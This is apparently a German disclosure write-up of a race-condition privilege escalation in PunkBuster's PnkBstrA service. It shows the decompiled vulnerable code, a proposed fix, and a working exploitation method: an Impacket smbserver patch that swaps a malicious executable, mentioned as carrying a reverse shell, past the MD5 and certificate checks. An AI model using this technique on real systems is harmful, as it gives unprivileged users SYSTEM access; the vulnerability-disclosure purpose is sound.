
PunkBuster LPI to NT AUTHORITY\SYSTEM

PunkBuster installiert sich selbst als zwei Dienste und einen optionalen? Kernel-Treiber.
PnkBstrA: Dienst, der ständig im Hintergrund läuft und für die allgemeine Verwaltung von PunkBuster zuständig istPnkBstrB: Dienst, der startet, wenn ein geschütztes Spiel gestartet wird. Bietet mehr Funktionalität als sein Gegenstück A.Beide Dienste sind ähnlich aufgebaut und hören auf UDP auf localhost auf einem Port im Bereich [44301, 44400].
Sobald ein Port gefunden wurde, wird er im Port-Wert unter HKLM:\SOFTWARE\Even Balance\PnkBstrA oder HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA geschrieben.
Jede Anfrage wird in einem globalen Puffer mit einer Länge von 1500 Bytes gespeichert (es werden jedoch nur 1499 Bytes empfangen, um einen NUL-Terminator unterzubringen).
Es gibt keine Standardstruktur für die Anfragedaten, aber hier ist ihre übliche Struktur:
Die Anfragearten in PnkBstrA sind wie folgt:
l: Load: Startet und aktualisiert PnkBstrB
PnkBstrB-Executableu: Unload: Stoppt PnkBstrBv: Version: Gibt einfach die Version zurückm: Monitor: Nimmt eine PID und prüft, ob die PunkBuster-Client-DLL (pbcl.dll) im Prozess vorhanden ist, und gibt bei Bedarf dessen Speicher aus.Der Load-Handler (l) enthält eine Schwachstelle im TOCTOU-Stil, die zu einer lokalen Privilegienausweitung als NT AUTHORITY\SYSTEM führt.
Der Ablauf des Handlers ist etwa wie folgt:
PnkBstrB-Dienst löschenEven Balance, Inc. lautetC:\Windows\SysWOW64\PnkBstrB.exe oder C:\Windows\System32\PnkBstrB.exe (je nach Plattform) zu kopierenPnkBstrB-Dienst erstellen und starten, der als LocalSystem mit der neu kopierten Datei läuft.Das Problem hier ist, dass die Datei, die PnkBstrA manipuliert, für jeden Vorgang mehrmals geöffnet wird, was zu einer Situation führt, in der ein Angreifer die Datei zwischen den Vorgängen ändern könnte.
Dies kann zu einem Problem führen, bei dem die Datei nach der Zertifikatsvalidierung ausgetauscht wird und eine schädliche Datei als ausführbare Datei des PnkBstrB-Dienstes landet. Diese ausführbare Datei würde es einem nicht privilegierten Benutzer ermöglichen, auf NT AUTHORITY\SYSTEM zu eskalieren.
Die relevante Dekompilierung ist hier dargestellt:
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
Eine einfache Lösung wäre, die Datei zuerst an einen sicheren, aber temporären Speicherort zu kopieren (z.B. PnkBstrB.exe.tmp) und von dort aus den MD5 und die Prüfungen zu berechnen. Auf diese Weise kann die Datei nicht von einem böswilligen Akteur bearbeitet werden. Dies würde auch sicherstellen, dass nur eine Kopie der Datei geöffnet ist, was die SMB-Ausnutzung verhindert.
Ein Angriffsszenario könnte darin bestehen, eine schädliche Datei bereitzustellen, auf die Berechnung des MD5 zu warten, die Datei durch die originale PnkBstrB.exe zu ersetzen, damit die WinVerifyTrust- und Zertifikatsprüfungen bestehen, und sie dann erneut durch die schädliche Datei zu ersetzen, damit der zweite MD5 besteht und die Datei kopiert und ausgeführt wird.
Dieses Szenario ist jedoch sehr schwer auszuführen, da das Ersetzen der Datei schwierig ist und eine Änderung, während sie von PnkBstrA geöffnet ist, die Änderungen nicht zu übernehmen scheint.
Das liegt daran, dass es schwierig ist, unseren Code im INJECTION POINT 1 wie im Code gezeigt zu planen. Es ist wahrscheinlich möglich, indem man viele zeitkritische Prioritäts-Threads verwendet, von denen einige ständig versuchen, die Datei zu ersetzen, und andere gleichzeitige Kerne in Busy-Waits blockieren.
Ein anderer Ansatz wäre, eine MD5-Kollision zwischen PnkBstrB und der schädlichen Datei zu erzwingen. Dies würde funktionieren, indem zuerst die legitime Datei als Kandidat für den ersten MD5 verwendet und auf das Zertifikat geprüft wird. Danach haben wir jedoch ein gutes Zeitfenster von 750 Millisekunden oder mehr, um die Datei durch unsere eigene zu ersetzen. Dann würde der zweite MD5 bestehen und unsere Datei würde eingeschleust. Während der Entwicklung war ich jedoch zu faul, auf eine Kollision zu warten, und entschied mich für einen anderen Ansatz.
Dieser Code ist Windows-abhängig und verwendet fopen, was auf Windows' eigene I/O-Funktionen abgebildet wird. Per Definition würde dies bedeuten, dass SMB-Freigaben zugänglich wären. Darüber hinaus erwähnt MSDN, dass dieses Verhalten unterstützt wird:
fopenakzeptiert UNC-Pfade und Pfade, die gemappte Netzlaufwerke betreffen, solange das System, das den Code ausführt, zum Zeitpunkt der Ausführung Zugriff auf die Freigabe oder das gemappte Laufwerk hat.
Das bedeutet, dass wir unseren ersten Ansatz verwenden könnten, aber da der Code von unserer SMB-Freigabe abhängig wäre, senden wir je nach Anzahl der Dateianfragen verschiedene Dateien.
Durch Modifikation von Impackets smbserver ist es möglich, dieses Verhalten zu erreichen.
Die vollständige .patch-Datei ist hier zu finden. Die wichtigsten Änderungen sind:
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
Wie Sie sehen können, senden wir dem Client die schädliche Datei, wenn es das erste Mal ist, dass wir die Datei öffnen (erster MD5) oder mindestens das achte Mal (Dateikopie und danach), während wir in anderen Fällen die Originaldatei senden.
Der Code der schädlichen Datei ist hier zu finden, ein einfacher Hello-World-Dienst mit einer Reverse Shell.
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
EvenBalance wurde seit dem 15.02.2025 mehrfach auf verschiedenen Wegen kontaktiert, hat aber nicht geantwortet.
Diese Problem wurde am 10.05.2025 vollständig offengelegt.